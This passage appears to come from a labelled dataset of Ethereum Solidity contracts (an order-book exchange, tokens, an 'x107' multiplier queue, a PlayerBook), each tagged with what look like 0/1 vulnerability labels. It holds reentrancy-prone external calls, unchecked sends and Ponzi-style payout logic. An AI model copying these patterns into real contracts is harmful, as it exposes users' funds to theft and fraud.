return uint(asks[_id].amount);
}
return uint(asks[firstask].amount);
}
function amountBuy(uint _id) external view returns (uint) {
if(_id>0){
return uint(bids[_id].amount);
}
return uint(bids[firstbid].amount);
}
function priceSell(uint _id) external view returns (uint) {
if(_id>0){
return uint(asks[_id].price);
}
return uint(asks[firstask].price);
}
function priceBuy(uint _id) external view returns (uint) {
if(_id>0){
return uint(bids[_id].price);
}
return uint(bids[firstbid].price);
}
function cancelSell(uint _id) external {
require(asks[_id].price>0 && asks[_id].who==msg.sender);
users[msg.sender].tokens=uint120(uint(users[msg.sender].tokens).add(asks[_id].amount));
users[msg.sender].asks=uint120(uint(users[msg.sender].asks).sub(asks[_id].amount));
if(asks[_id].prev>0){
asks[asks[_id].prev].next=asks[_id].next;}
else{
firstask=asks[_id].next;}
if(asks[_id].next>0){
asks[asks[_id].next].prev=asks[_id].prev;}
emit LogCancelSell(msg.sender,asks[_id].amount,asks[_id].price);
delete(asks[_id]);
}
function cancelBuy(uint _id) external {
require(bids[_id].price>0 && bids[_id].who==msg.sender);
uint value=bids[_id].amount*bids[_id].price;
users[msg.sender].weis+=uint120(value);
if(bids[_id].prev>0){
bids[bids[_id].prev].next=bids[_id].next;}
else{
firstbid=bids[_id].next;}
if(bids[_id].next>0){
bids[bids[_id].next].prev=bids[_id].prev;}
emit LogCancelBuy(msg.sender,bids[_id].amount,bids[_id].price);
delete(bids[_id]);
}
function sell(uint _amount, uint _price) external {
require(0 < _price && _price < maxPrice && 0 < _amount && _amount < maxTokens && _amount <= users[msg.sender].tokens);
commitDividend(msg.sender);
users[msg.sender].tokens-=uint120(_amount);
uint funds=0;
uint amount=_amount;
for(;bids[firstbid].price>0 && bids[firstbid].price>=_price;){
uint value=uint(bids[firstbid].price)*uint(bids[firstbid].amount);
uint fee=value >> 9;
if(amount>=bids[firstbid].amount){
amount=amount.sub(uint(bids[firstbid].amount));
commitDividend(bids[firstbid].who);
emit LogTransaction(msg.sender,bids[firstbid].who,bids[firstbid].amount,bids[firstbid].price);
funds=funds.add(value-fee-fee);
users[custodian].weis+=uint120(fee);
totalWeis=totalWeis.sub(fee);
users[bids[firstbid].who].tokens+=bids[firstbid].amount;
uint64 next=bids[firstbid].next;
delete bids[firstbid];
firstbid=next;
if(amount==0){
break;}
continue;}
value=amount*uint(bids[firstbid].price);
fee=value >> 9;
commitDividend(bids[firstbid].who);
funds=funds.add(value-fee-fee);
emit LogTransaction(msg.sender,bids[firstbid].who,amount,bids[firstbid].price);
users[custodian].weis+=uint120(fee);
totalWeis=totalWeis.sub(fee);
bids[firstbid].amount=uint96(uint(bids[firstbid].amount).sub(amount));
require(bids[firstbid].amount>0);
users[bids[firstbid].who].tokens+=uint120(amount);
bids[firstbid].prev=0;
totalWeis=totalWeis.sub(funds);
(bool success, ) = msg.sender.call.value(funds)("");
require(success);
return;}
if(firstbid>0){
bids[firstbid].prev=0;}
if(amount>0){
uint64 ask=firstask;
uint64 last=0;
for(;asks[ask].price>0 && asks[ask].price<=_price;ask=asks[ask].next){
last=ask;}
lastask++;
asks[lastask].prev=last;
asks[lastask].next=ask;
asks[lastask].price=uint128(_price);
asks[lastask].amount=uint96(amount);
asks[lastask].who=msg.sender;
users[msg.sender].asks+=uint120(amount);
emit LogSell(msg.sender,amount,_price);
if(last>0){
asks[last].next=lastask;}
else{
firstask=lastask;}
if(ask>0){
asks[ask].prev=lastask;}}
if(funds>0){
totalWeis=totalWeis.sub(funds);
(bool success, ) = msg.sender.call.value(funds)("");
require(success);}
}
function buy(uint _amount, uint _price) payable external {
require(0 < _price && _price < maxPrice && 0 < _amount && _amount < maxTokens && _price <= msg.value);
commitDividend(msg.sender);
uint funds=msg.value;
uint amount=_amount;
uint value;
for(;asks[firstask].price>0 && asks[firstask].price<=_price;){
value=uint(asks[firstask].price)*uint(asks[firstask].amount);
uint fee=value >> 9;
if(funds>=value+fee+fee && amount>=asks[firstask].amount){
amount=amount.sub(uint(asks[firstask].amount));
commitDividend(asks[firstask].who);
funds=funds.sub(value+fee+fee);
emit LogTransaction(asks[firstask].who,msg.sender,asks[firstask].amount,asks[firstask].price);
users[asks[firstask].who].asks-=asks[firstask].amount;
users[asks[firstask].who].weis+=uint120(value);
users[custodian].weis+=uint120(fee);
totalWeis=totalWeis.add(value+fee);
users[msg.sender].tokens+=asks[firstask].amount;
uint64 next=asks[firstask].next;
delete asks[firstask];
firstask=next;
if(funds<asks[firstask].price){
break;}
continue;}
if(amount>asks[firstask].amount){
amount=asks[firstask].amount;}
if((funds-(funds>>8))<amount*asks[firstask].price){
amount=(funds-(funds>>8))/asks[firstask].price;}
if(amount>0){
value=amount*uint(asks[firstask].price);
fee=value >> 9;
commitDividend(asks[firstask].who);
funds=funds.sub(value+fee+fee);
emit LogTransaction(asks[firstask].who,msg.sender,amount,asks[firstask].price);
users[asks[firstask].who].asks-=uint120(amount);
users[asks[firstask].who].weis+=uint120(value);
users[custodian].weis+=uint120(fee);
totalWeis=totalWeis.add(value+fee);
asks[firstask].amount=uint96(uint(asks[firstask].amount).sub(amount));
require(asks[firstask].amount>0);
users[msg.sender].tokens+=uint120(amount);}
asks[firstask].prev=0;
if(funds>0){
(bool success, ) = msg.sender.call.value(funds)("");
require(success);}
return;}
if(firstask>0){
asks[firstask].prev=0;}
if(amount>funds/_price){
amount=funds/_price;}
if(amount>0){
uint64 bid=firstbid;
uint64 last=0;
for(;bids[bid].price>0 && bids[bid].price>=_price;bid=bids[bid].next){
last=bid;}
lastbid++;
bids[lastbid].prev=last;
bids[lastbid].next=bid;
bids[lastbid].price=uint128(_price);
bids[lastbid].amount=uint96(amount);
bids[lastbid].who=msg.sender;
value=amount*_price;
totalWeis=totalWeis.add(value);
funds=funds.sub(value);
emit LogBuy(msg.sender,amount,_price);
if(last>0){
bids[last].next=lastbid;}
else{
firstbid=lastbid;}
if(bid>0){
bids[bid].prev=lastbid;}}
if(funds>0){
(bool success, ) = msg.sender.call.value(funds)("");
require(success);}
}
} | 0 | 1,221 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC223 {
uint public totalSupply;
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint256 _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract GanaEightCoinToken is ERC223, Ownable {
using SafeMath for uint256;
string public constant name = "G8C";
string public constant symbol = "GAEC";
uint8 public constant decimals = 8;
uint256 public totalSupply = 7000000000000 * 10 ** 8;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping( address => bool ) public whiteList;
event Mint(address indexed to, uint256 amount);
event WhiteList(address indexed to, bool lock);
event MintFinished();
modifier isValidTransfer() {
require(whiteList[msg.sender]);
_;
}
modifier canMint() {
require(!mintingFinished);
_;
}
constructor(address _owner) public {
owner = _owner;
address sale = 0x0301e60b967A088aAd7b6a0Dd3745608068c2574;
balanceOf[sale] = totalSupply.mul(60).div(100);
emit Transfer(0x0, sale, balanceOf[sale]);
address team = 0x2EeF18D08B3278f7d9C76Ffb50C279490f54c6B3;
balanceOf[team] = totalSupply.mul(15).div(100);
emit Transfer(0x0, team, balanceOf[team]);
address marketor = 0x76FA8c2952CcA46f874a598A6064C699C634CdAA;
balanceOf[marketor] = totalSupply.mul(12).div(100);
emit Transfer(0x0, marketor, balanceOf[marketor]);
address advisor = 0xCCbc32321baeBa72f35590B084D38adC77e74123;
balanceOf[advisor] = totalSupply.mul(10).div(100);
emit Transfer(0x0, advisor, balanceOf[advisor]);
address developer = 0x80459F7e1139d4cc97673131f2986000C024248e;
balanceOf[developer] = totalSupply.mul(3).div(100);
emit Transfer(0x0, developer, balanceOf[developer]);
}
function setUnLocked(address _to, bool _unLocked) onlyOwner public {
whiteList[_to] = _unLocked;
WhiteList(_to, _unLocked);
}
function transfer(address _to, uint _value, bytes _data) public isValidTransfer returns (bool success) {
require(_value > 0 && _to != address(0));
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public isValidTransfer returns (bool success) {
require(_value > 0 && _to != address(0));
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public isValidTransfer returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
emit Mint(_to, _unitAmount);
emit Transfer(address(0), _to, _unitAmount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
} | 1 | 3,200 |
pragma solidity ^0.4.25;
contract x107 {
address constant private PROMO = 0x722CEff303273524Cb1f60FA2699E2880f38BD0F;
uint constant public PROMO_PERCENT = 5;
uint constant public MULTIPLIER = 107;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value >= 0.01 ether && msg.value <= 5 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo = msg.value*PROMO_PERCENT/100;
PROMO.send(promo);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 0 | 1,119 |
pragma solidity >=0.4.25 <0.6.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract WINEToken is ERC20, ERC20Detailed {
uint8 public constant DECIMALS = 8;
uint256 public constant INITIAL_SUPPLY = 21000000 * (10 ** uint256(DECIMALS));
constructor () public ERC20Detailed("WINE", "WINE", DECIMALS) {
_mint(msg.sender, INITIAL_SUPPLY);
}
} | 1 | 4,604 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Your Data Safe Token";
string public constant TOKEN_SYMBOL = "YDST";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0x91aFEbb7f77eB0D531705d37989a2be312116c64;
uint public constant START_TIME = 1533164340;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 5,010 |
pragma solidity ^0.4.24;
interface PlayerBookReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
function receivePlayerNameList(uint256 _pID, bytes32 _name) external;
}
contract PlayerBook {
using NameFilter for string;
using SafeMath for uint256;
address private admin = msg.sender;
uint256 public registrationFee_ = 10 finney;
mapping(uint256 => PlayerBookReceiverInterface) public games_;
mapping(address => bytes32) public gameNames_;
mapping(address => uint256) public gameIDs_;
uint256 public gID_;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Player) public plyr_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_;
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
constructor()
public
{
plyr_[1].addr = 0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53;
plyr_[1].name = "justo";
plyr_[1].names = 1;
pIDxAddr_[0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53] = 1;
pIDxName_["justo"] = 1;
plyrNames_[1]["justo"] = true;
plyrNameList_[1][1] = "justo";
plyr_[2].addr = 0x8b4DA1827932D71759687f925D17F81Fc94e3A9D;
plyr_[2].name = "mantso";
plyr_[2].names = 1;
pIDxAddr_[0x8b4DA1827932D71759687f925D17F81Fc94e3A9D] = 2;
pIDxName_["mantso"] = 2;
plyrNames_[2]["mantso"] = true;
plyrNameList_[2][1] = "mantso";
plyr_[3].addr = 0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C;
plyr_[3].name = "sumpunk";
plyr_[3].names = 1;
pIDxAddr_[0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C] = 3;
pIDxName_["sumpunk"] = 3;
plyrNames_[3]["sumpunk"] = true;
plyrNameList_[3][1] = "sumpunk";
plyr_[4].addr = 0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C;
plyr_[4].name = "inventor";
plyr_[4].names = 1;
pIDxAddr_[0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C] = 4;
pIDxName_["inventor"] = 4;
plyrNames_[4]["inventor"] = true;
plyrNameList_[4][1] = "inventor";
pID_ = 4;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isRegisteredGame()
{
require(gameIDs_[msg.sender] != 0);
_;
}
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
function checkIfNameValid(string _nameStr)
public
view
returns(bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
